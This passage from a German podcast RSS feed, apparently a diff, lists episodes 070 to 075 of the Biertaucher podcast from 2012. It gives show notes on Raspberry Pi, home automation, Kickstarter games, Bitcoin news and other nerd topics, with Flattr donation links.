+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:075&amp;title=Biertaucher%20Folge%20075&amp;language=de_DE&amp;tags=Biertaucher,Podcast,075,Bitcoin,Bitcoinnews,Ultraprune,Adi_Shamir,Paper,Reddit,Tipping_Bot,HashBounty,time,timelapse,Zeitraffer,RaspberryPi,osdomotics,openhab,funkchip,smarter-home-podcast,blind,haussteuerung,homeserver,Flattr,Videostreaming,Python,Ubuntu,6lowpan,OpenGarden,Richtfunk,WLan,Space_Opera,Chris_Roberts,Weltraumspiel,Kickstarter,Baldurs_Gate,Project_Eternity,M_O_R_E,Master_of_Orion2,Freedom_Sponsors,Launchpad,Ubuntu,Crowdfunding,Crowdfunding-Plattformen,Europa,Kino,Madasgascar,Publizistik,Reddit,Adi_Shamir,Tipping_Bot&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Florian SCHWEIKERT, Harald PICHLER, Peter SCHLEINZER, Andreas BIEDER sowie die Bicoin Experten Andreas LEHRBAUM und Andreas PETERSSON trinken Bier und plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, etra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/mKeVm (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/954124/Biertaucher-Podcast-folge-075
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/mKeVm">hier klicken um die Shownotes zur Folge 075</a> zu sehen</i><br></br>
+ <b>Florian SCHWEIKERT</b>, <b>Horst JENS</b>, <b>Harald PICHLER</b>, <b>Peter SCHLEINTER</b> und Gast: <b>Andreas BIEDER</b> sowie die Bitcoin-Andreasse <b>Andreas LEHRBAUM</b> und <b>Andreas PETERSSON</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/954124/Biertaucher-Podcast-folge-075" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+ <li>0:01:00 Hausmeisterthemen, störendes Netzbrummgeräusch ( verschwindet bald )
+ </li><li>0:02:19 Andreas BIEDER stellt sich vor, <a href="http://en.wikipedia.org/wiki/Time-lapse_photography">Zeitraffer-Fotografie</a>.
+ </li><li>0:05:00 Zeitraffer Community: <a href="http://www.timelapse-artists.at">timelapse-artist</a>, <a href="http://gwegner.de/fotoschnack/">Fotoschnack</a>
+ </li><li>0:06:15 Harald über <a href="http://en.wikipedia.org/wiki/Raspberry_pi">RaspberryPi</a> mit durchsichtigem Gehäuse, Open-Hub, OSDomotics, Funkknoten
+ </li><li>0:11:50 Peter Schleinzer vom <a href="http://podcast.smarter-home.at/sh012/#more-303">Smarter-Home Podcast</a> , <a href="http://code.google.com/p/openhab/">openhab</a>
+ </li><li>0:17:05 Harald: <a href="http://www.osdomotics.com/">OSDomotics</a> hat einen Flattr Button
+ </li><li>0:18:00 Florian hat RaspberryPi's bekommen, Videostreaming, Python
+ </li><li>0:23:04 Horst hat Ubuntu 12.10 installiert, Amazon-Icon
+ </li><li>0:24:43 OSDomotics entwickelt ein Experimentier-Board mit FSDI ( Arduino-kompatibel ) , 6lowpan und baut einen Schlangenroboter ( Keksdosenroboter )
+ </li><li>0:41:00 Mesh-Netzwerk <a href="http://opengarden.com/">Opengarden.com</a>
+ </li><li>0:51:56 WLan per Richtfunk
+ </li><li>0:57:30 Crowd-Funding Kickstarter Projekt: Space Opera vom <a href="http://de.wikipedia.org/wiki/Freelancer_(Computerspiel)">Freelancer</a> / Wing Commander Schöpfer <a href="http://www.robertsspaceindustries.com/">Chris Roberts</a>): <a href="http://www.kickstarter.com/projects/cig/star-citizen?ref=live">Star Citizen Squadron 42</a>
+ </li><li>1:00:06 Kickstarter finanzierte Spieleprojekte: <a href="http://www.kickstarter.com/projects/obsidian/project-eternity">Project Eternity</a> (<a href="http://en.wikipedia.org/wiki/Baldurs_Gate">Baldur's Gate</a>, Icewind Dale) und <a href="http://www.kickstarter.com/projects/1447560584/more-oldschool-turn-based-4x-space-strategy-game">M.O.R.E.</a> ( Nachbau von <a href="http://en.wikipedia.org/wiki/Master_of_Orion_II">Master of Orion 2</a> )
+ </li><li>1:03:00 <a href="http://www.kickstarter.com/projects/obsidian/project-eternity">Freedom Sponsors</a>, <a href="https://launchpad.net/">Launchpad ( Ubuntu )</a>
+ </li><li>1:07:28 (europäische) Alternativen zu Kickstarter: Incubator, Startnext, Mysherpas, blink, visionbeka, <a href="http://www.indiegogo.com/">indygogo</a>
+ </li><li>1:14:02 Bitcoin News mit Andreas Lehrbaum und Andreas Petersson: Bitcoin-Kursentwicklung
+ </li><li><a href="https://bitcointalk.org/index.php?topic=119525.0">Bitcoin Ultraprune</a>
+ </li><li><a href="http://eprint.iacr.org/2012/584.pdf">Bitcoin-Paper von Adi Shamir</a>
+ </li><li><a href="http://www.reddit.com/r/test/comments/11iby2/bitcointip_tip_redditors_with_bitcoin/">Reddit Bitcoin Tipping Bot</a>
+ </li><li><a href="http://hashbounty.net">HashBounty</a>
+ </li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher075.mp3" length="64002096" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Keksdosen- und Gelenk-Roboter, WLAN mit Richtfunkantenne, RaspberryPi's, Smarter-home Podcast, Zeitraffer-Videos, Kickstarter-finanzierte Spiele, Kino (Madasgaskar3), Publizistikstudentinnen und Bitcoin-News von Andreas und Andreas.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/mKeVm
+Bitte flattern: http://flattr.com/thing/954124/Biertaucher-Podcast-folge-075
+</itunes:summary>
+
+ <itunes:duration>1:28:53</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 075, Bitcoinnews, Ultraprune, Tipping Bot, HashBounty, Zeitraffer, RaspberryPi, osdomotics, openhab, haussteuerung, homeserver, Flattr, Ubuntu 12.10, 6lowpan, OpenGarden, Richtfunk, WLan</itunes:keywords>
+ </item>
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 074</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:074</link>
+ <pubDate>Thu, 18 Oct 2012 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher074.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:074&amp;title=Biertaucher%20Folge%20074&amp;language=de_DE&amp;tags=Biertaucher,Podcast,074,Gamecity,Zombies,spielend-programmieren,FSFE,Erratum,RaspberryPi,Demonstration,Festplattenabgabe,Gruene,Politik,Internetabgabe,Garib,Kurdistan,Restaurant,Zypresse,Wien,Bitcoin,scientific_american,stockexchange,Counterstrike,Esport&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN sowie die Bicoin Experten Andreas LEHRBAUM und Andreas PETERSSON trinken Bier und plaudern über freie Software und andere Nerd-Themen. Gast-Interview: Julian. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/50iZE (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/951506/Biertaucher-Podcast-Folge-074
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/50iZE">hier klicken um die Shownotes zur Folge 074</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, Gast: Julian und <b>Andreas LEHRBAUM</b> und <b>Andreas PETERSSON</b> und Gast <b>Lukas</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/951506/Biertaucher-Podcast-Folge-074" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+ <li>00:01:35 Hausmeisterthemen
+</li><li>00:08:00 Horst auf der Gamecity
+</li><li>00:18:30 Nachtrag Hasumeisterthemen Erratum
+</li><li>00:22:00 Gregor und sein neuer RaspberryPi
+</li><li>00:42:00 Demo für Festplattenabgabe und die Grünen Fixabgabe für Internetzugang
+</li><li>00:45:00 Hackberry
+</li><li>00:46:30 Island und Facebookfail bei Telefonnummern
+</li><li>00:49:40 Liveinterview mit unserem Gastgeber Garib
+</li><li>00:53:00 Bitcoinupdate:</li>
+ <ul>
+ ><li>scientific american: http://www.scientificamerican.com/article.cfm?id=3-years-in-bitcoin-digital-money-gains-momentum
+ </li><li>stockexchange: http://bitcoin.stackexchange.com/
+ </li><li>Vergelich Bitcoin mit anderen distributed projekten: http://www.reddit.com/r/Bitcoin/comments/11eqay/is_bitcoin_now_the_biggest_distributed_computing/
+ </li>
+ </ul>
+</li><li>00:11:50 Interview mit Profi-Couterstriker Julian</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher074.mp3" length="59851761" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst war unter lauter Zombies auf der Gamecity, Gregor macht Urlaub mit seinem RaspberryPi, Profi-Counterstriker Julian im Interview, Bitcoinupdates, Festplattenabgabe, kurdische Küche u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/50iZE
+Bitte flattern: http://flattr.com/thing/951506/Biertaucher-Podcast-Folge-074
+</itunes:summary>
+
+ <itunes:duration>1:23:07</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 074, Gamecity, Zombies, spielend-programmieren, FSFE, Erratum, RaspberryPi, Politik, Internetabgabe, Kurdistan, Zypresse, Wien, Bitcoin, scientific american, stockexchange, Counterstrike, Esport</itunes:keywords>
+ </item>
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 073</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:073</link>
+ <pubDate>Wed, 10 Oct 2012 10:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher073.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:073&amp;title=Biertaucher%20Folge%20073&amp;language=de_DE&amp;tags=Biertaucher,Podcast,073,Science-Paper-Generator,Science,Food,Konferenz,Mailand,Otalien,Suedtirol,Publizistik,Universitaet,Bitcoin-News,Ernaehrungssouveraenitaet,CSA,Community-Supported-Agriculture,Liquid-Democracy,Github,Biodiversitaet,Raspberry_Pi,Debian,Heimserver,OpenVPN,NMap,Android,Android_Open-Source_Project,ulule.com,kickstarter,chtemele,html5,kartenspiel,creative-commons,crowdsourcing,gamecity,Wien,dungeon-slayers,pen_and_paper,role_playing_game,GunterDueck,Fubar,Spieleveteranen,Spoileralert,Spoileralert&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG und Lukas sowie die Bicoin Experten Andreas LEHRBAUM und Andreas PETERSSON trinken Bier und plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, etra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/bQkk9 (bzw. http://biertaucher.at ) Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/931182/Biertaucher-Podcast-Folge-073
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/bQkk9">hier klicken um die Shownotes zur Folge 073</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Johnny ZWENG</b> und <b>Andreas LEHRBAUM</b> und <b>Andreas PETERSSON</b> und Gast <b>Lukas</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/931182/Biertaucher-Podcast-Folge-073" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:01:05 Hausmeisterthemen: Bernd flattert & podcastet
+</li><li>0:03:05 Lukas über: <a href="http://twitter.com/milano4foodsov">Ernährungssouveränität Konferenz in Mailand</a>
+</li><li>0:11:04 aufdringliche Publizistikstudentinnen unterbrechen uns und interviewen Johnny
+</li><li>0:15:00 Lukas über Bitcoins und altmodische Währungssysteme,
+</li><li>0:25:00 Gregor hat einen <a href="http://de.wikipedia.org/wiki/Raspberry_Pi">Raspberry Pi</a> bestellt
+</li><li>0:33:38 Johnny hat gelesen: Paper-Generator generiertes <a href="http://nmap.org/misc/hakin9-nmap-ebook-ch1.pdf">Fake Paper</a> <a href="http://seclists.org/nmap-dev/2012/q3/1050">narrt IT-Magazin</a>
+</li><li>0:39:00 Kickstarter-Projekt: <a href="http://www.kickstarter.com/projects/obsidian/project-eternity">Project Eternity</a> von den Baldurs Gate / Icewind Dale Machern.
+</li><li>0:41:51 Podcast-Empfehlungen <a href="http://www.spieleveteranen.de/">Spieleveteranen Podcast</a> / <a href="http://manuspielt.wordpress.com/">Manu Spielt</a>
+</li><li>0:42:08 <a href="http://orf.at/stories/2144626/2144497/">World of Warcraft im US-Wahlkampf</a>
+</li><li>0:44:40 Das <a href="http://source.android.com/">Android Open Source Project</a> (<a href="http://www.androidnext.de/aosp-android-open-source-project/">Blogeintrag</a>)
+</li><li>0:58:07 <a href="http://de.ulule.com/chtemele/">Ulule.com</a>: creative-commons lizensiertes , crowd-finanziertes <a href="http://www.chtemele.org/telecharger/">html5 Kartenspiel: chtemele</a>. Creative-commons lizensiertes Pen und Paper Role-playing Game: <a href="http://www.dungeonslayers.de/">Dungeon Slayers</a> Wochenende: <a href="http://gamecity.at">Gamecity</a> im Wiener Rathaus.
+</li><li>1:03:12 Podcastempfehlung: <a href="http://www.wir-muessen-twittern.de/dueckantwortet/">Die Welt fragt und Gunter Dueck antwortet</a>
+</li><li>1:05:45 Podcastempfehlung: <a href="http://spoileralert.bildungsangst.de/">Spoileralert</a> über Games of Thrones, <a href="http://fubarpodcast.at/">Fubar-Podcast</a> über Frequency-Festival
+</li><li>1:07:17 Bitcoin News mit Andreas Lehrbaum und Andreas Petersson
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher073.mp3" length="45526683" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnny wird von Publizistikstudentinnen belästigt und freut sich über den scientific Paper Generator, Gregor empfiehlt Podcasts und spricht über das Android OpenSource Projekt,Gamecity, bitcoin-news</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/bQkk9
+Bitte flattern: http://flattr.com/thing/931182/Biertaucher-Podcast-Folge-073
+</itunes:summary>
+
+ <itunes:duration>1:20:26</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 073, Science-Paper-Generator, Science, Food, Konferenz, Mailand, Otalien, Südtirol, Publizistik, Universität, Bitcoin-News, Ernährungssouveränität, CSA, Community-Supported-Agriculture, Liquid-Democracy, Github, </itunes:keywords>
+ </item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 072</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:072</link>
+ <pubDate>Tue, 2 Oct 2012 23:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher072.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:072&amp;title=Biertaucher%20Folge%20072&amp;language=de_DE&amp;tags=biertaucher,podcast,072,Vienna_Night_Run,Sport-Apps,Game,Android,Spirit_of_Eternity,Broken_Sword,Granny_Smith,Humble_Bundle,Torchlight,self_driving_car,Udacity,Blender,Film,Tears_of_Steel,Ubuntu,Amazon,Kickstarter,Arakion,Slashfilmfestival,The_Guild,Homepage,Affaere,Politik,Donauinsel,Gratis-W-Lan,Contentfilter,Bitcoin,Bitcoinfondation,Clean-IT,Green-IT&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG und Andreas LEHRBAUM trinken Bier und plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, etra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/oieU0 (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Button anlicken: https://flattr.com/thing/918286/Biertaucher-Podcast-Folge-072
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/oieU0">hier klicken um die Shownotes zur Folge 072</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Johnny ZWENG</b> und <b>Andreas LEHRBAUM</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="https://flattr.com/thing/918286/Biertaucher-Podcast-Folge-072" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>00:00:42 Hausmeisterthemen
+</li><li>00:06:00 Johnny was beim <a href="http://www.viennanightrun.at/de/home">Vienna Night Run</a> und Laufapps
+</li><li>00:14:00 Android Spiele "Spirit of Eternity","<a href="http://www.revolution.co.uk/">Broken Sword</a>","<a href="https://play.google.com/store/apps/details?id=com.mediocre.grannysmith&hl=de">Granny Smith</a>"
+</li><li>00:21:20 <a href="http://futurezone.at/digitallife/11545-kalifornien-fahrerlose-autos-kuenftig-erlaubt.php">Fahrelerlose Autos</a> in Kalifornien, Udacity
+</li><li>00:27:00 neuer Blender Film: <a href="http://mango.blender.org/">Tears of Steal</a>
+</li><li>00:34:00 <a href="http://linuxundich.de/de/ubuntu/das-ist-falsch-an-ubuntus-neuer-amazon-shopping-lense-fur-unity/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+linuxundich%2Fblog+(Linux+und+Ich)">Ubuntu und Amazon</a>
+</li><li>00:41:00 <a href="http://www.humblebundle.com/">Humble Indie Bundle 6</a>
+</li><li>00:46:00 Kickstarterspiel <a href="http://www.kickstarter.com/projects/lavidimus/chris-taylors-arakion">Arakion</a>
+</li><li>00:47:43 Abschluss <a href="http://slashfilmfestival.com/">Slashfilmfestifval</a>
+</li><li>00:53:42 <a href="http://diepresse.com/home/politik/innenpolitik/1296220/WebBranche_MinisteriumsHomepage-zu-teuer?_vl_backlink=/home/politik/innenpolitik/732496/index.do&direct=732496">Ministeriumshompage zu teuer</a> (Artikel in "Die Presse", Interview mit <a href="http://wukonig.com">Jörg Wukonig</a>)
+</li><li>00:57:00 <a href="http://geekandsundry.geekandsundry.com/the-guild-season-six-is-here/">Season 6 von The Guild</a>
+</li><li>00:58:00 <a href="http://futurezone.at/digitallife/11602-gratis-wlan-auf-der-donauinsel-gestartet.php">Contentfilter</a> bei Gratis W-Lan auf der Donauinsel, <a href="http://futurezone.at/netzpolitik/11504-clean-it-plaene-zur-internet-zensur-in-europa.php">Clean-IT</a>
+</li><li>01:01:00 das wöchentliche Bitcoinupdate von Andreas:
+ </li><ul><li><a href="https://www.bitcoinfoundation.org/">Bitcoinfondation</a>
+ </li><li>Mining-Hardware: <a href="http://www.butterflylabs.com/products/">Butterfly Labs</a>
+ </li></ul>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher072.mp3" length="48779395" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnny war beim Vienna Night Run und testet Sport-Apps, Gregor kauft (!) Android Games und schläft beim Slashfilmfestifal (nicht jugendfrei!) im Kino ein, Horst spielt Indie Humble Bundle 6 und schaut „The Guild“, Andreas bringt Bitcoin News u.v.m</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/oieU0
+Bitte flattern: https://flattr.com/thing/918286/Biertaucher-Podcast-Folge-072
+</itunes:summary>
+
+ <itunes:duration>1:07:44</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, 072, Vienna Night Run, Sport-Apps, Game, Android, Spirit of Eternity, Broken Sword, Granny Smith, Humble Bundle, Torchlight, self driving car, Udacity, Blender, Film, Tears of Steel, Ubuntu, Amazon</itunes:keywords>
+ </item>
+
+
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 071</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:071</link>
+ <pubDate>Thu, 27 Sep 2012 23:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher071.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:071&amp;title=Biertaucher%20Folge%20071&amp;language=de_DE&amp;tags=biertaucher,podcast,071,Drohnen,Rant,Crawpware,Bitcoin,SlashfilmFestival,Subotron,FAZ,Wettruesten,Kill_Decision,Android,Root,Asus,Mapocalypse,Iphone5,Samsung,Apple,Kino,Nightbreed&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG und Andreas LEHRBAUM trinken Bier und plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, etra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/zBj6a (bzw: http://biertaucher.at ) Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/905851/Biertaucher-Podcast-Folge-071
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/zBj6a">hier klicken um die Shownotes zur Folge 071</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Johnny ZWENG</b> und <b>Andreas LEHRBAUM</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/905851/Biertaucher-Podcast-Folge-071" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>00:02:00 Hausmeisterthemen
+</li><li>00:02:50 Root auf Android <a href="https://play.google.com/store/apps/details?id=com.keramidas.TitaniumBackup&hl=de">Titanium Backup ★ root</a>
+</li><li>00:08:30 Asus Windows7 Crapware-Rant
+</li><li>00:14:40 <a href="https://metalab.at/wiki/CryptoParty">Krypto-Party</a> im Metalab
+</li><li>00:18:00 Drohnen und der moderne Krieg <a href="http://www.faz.net/aktuell/feuilleton/debatten/krieg-mit-drohnen-das-gesicht-unserer-gegner-von-morgen-11897252.html">Artikel der FAZ</a> <a href="http://www.faz.net/aktuell/feuilleton/buecher/thriller-kill-decision-von-daniel-suarez-wie-technik-die-welt-zum-schlechteren-wendet-11826693.html">Daniel Suarez "Kill Desicion"</a>
+</li><li>00:24:27 Die <a href="http://futurezone.at/produkte/11494-apple-raeumt-probleme-bei-karten-app-ein.php">"Mapocalypse"</a> am Iphone5
+</li><li>00:28:52 Slashfilmfest mit den Filmen <a href="http://slashfilmfestival.com/programm-2012/stitches/">Stitches</a>/<a href="http://slashfilmfestival.com/programm-2012/zombie-ass/">Zombie Ass</a>/<a href="http://slashfilmfestival.com/programm-2012/nightbreed-the-cabal-cut/">Night Breed - The Cabal Cut</a>
+</li><li>00:41:00 <a href="http://youtu.be/nf5-Prx19ZM">Samsung gegen Apple Werbespot</a>
+</li><li>00:43:00 Adndreas Lehrbaum präsentiert Neuigkeiten aus der Bitcoin-Welt
+</li>
+</ul>
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher071.mp3" length="34390016" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Überraschung: Erstere Einspielung von unserem Finanzreporter Andreas „Bitcoin“ Lehrbaum! Außerdem: Gregors Crapware-Rant, Drohnenkriege, Mapocalpyse, Slashfilmfestival (hirnlöffelnde Killerclowns) u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/zBj6a
+Bitte flattern: http://flattr.com/thing/905851/Biertaucher-Podcast-Folge-071
+</itunes:summary>
+
+ <itunes:duration>47:45</itunes:duration>
+ <itunes:keywords>biertaucher, podcast, 071, Drohnen, Rant, Crawpware, Bitcoin, SlashfilmFestival, Subotron, FAZ, Wettrüsten, Kill Decision, Android, Root, Asus, Mapocalypse, Iphone5, Samsung, Apple, Kino, Nightbreed</itunes:keywords>
+ </item>
+
+
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 070</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:070</link>
+ <pubDate>Tue, 18 Sep 2012 09:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher070.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:070&amp;title=Biertaucher%20Folge%20070&amp;language=de_DE&amp;tags=Podcasts,biertaucher,podcast,070,flattr,cashforweb,bitcoin,london,richard%20stallman,python,django,ubuntu,w24,tv-sender,google,nexus,root,software%20freedom%20day,piratenpartei,interview,bitfilm,qr-feld,raspberrypi,supercomputer,avaaz,tpp,iphone,nfc,game%20ai%20conference&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT, Andreas LEHRBAUM und Gäste trinken Bier und plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/KN1Vx ( bzw: http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Button anlicken: http://flattr.com/thing/891289/Biertaucher-Podcast-Folge-070
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/KN1Vx">hier klicken um die Shownotes zur Folge 070</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Florian SCHWEIKERT</b>, <b>Andreas LEHRBAUM</b> und Gäste trinken Bier und plaudern über freie Software sowie andere Nerd-Themen.<br></br>
+ Bitte Flattern: <atom:link rel="payment" href="https://flattr.com/submit/auto?url=https%3A%2F%2Fdevelopers.flattr.net%2F&amp;user_id=flattr" type="text/html" />
+<a href="http://flattr.com/thing/891289/Biertaucher-Podcast-Folge-070" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+ <li>0:00:30 Hausmeisterthemen: <a href="https://flattr.com">Flattr</a>, <a href="http://cashforweb.com/">CashForWeb</a>
+</li><li>0:02:55 Bitcoin Andreas war auf der <a href="http://bitcoin2012.com/">Bitcoin-Konferenz in London</a> ( u.a. mit <a href="http://stallman.org/">Richard Stallman</a> )
+</li><li>0:14:30 Horst lernte <a href="https://www.djangoproject.com/">Django</a> ( <a href="http://python.org">Python</a> basiertes Webframework )
+</li><li>0:18:44 Mario vom <a href="http://www.w24.at/">TV-Sender W24</a> hat <a href="http://ubuntulinux.org">Ubuntu</a> installiert
+</li><li>0:24:00 Gregor ist Root auf seinem Google Nexus S Phone ( hardware volume boost , lbe privacy security )
+</li><li>0:29:00 Bitte votet für uns beim <a href="http://www.european-podcast-award.eu/de/start/submit-podcast.html">European Podcast Award</a>
+</li><li>0:30:10 Florian war am <a href="http://softwarefreedomday.org/">Software Freedom Day Infostand</a> auf der Mariahilferstraße / MQ
+</li><li>0:32:00 <a href="http://www.bitfilm.com/festival/">Bitfilm Festival</a> (computer-generierte Filme) - Einreichfrist, Voting mit Bitcoins
+</li><li>0:35:40 <a href="http://futurezone.at/digitallife/11290-kanada-groesster-qr-code-der-welt-in-maisfeld.php">QR Feld</a> in Kanada
+</li><li>0:36:02 <a href="https://plus.google.com/112888349007751740309/posts/CZEx11apAjc">RaspberryPi Supercomputer</a>
+</li><li>0:37:30 <a href="http://avaaz.org/de/">Avaaz Petition gegen Coporate Deathstar TTP</a>
+</li><li>0:39:00 das neue iPhone hat weder Hupe noch <a href="http://de.wikipedia.org/wiki/Near_Field_Communication">NFC</a>
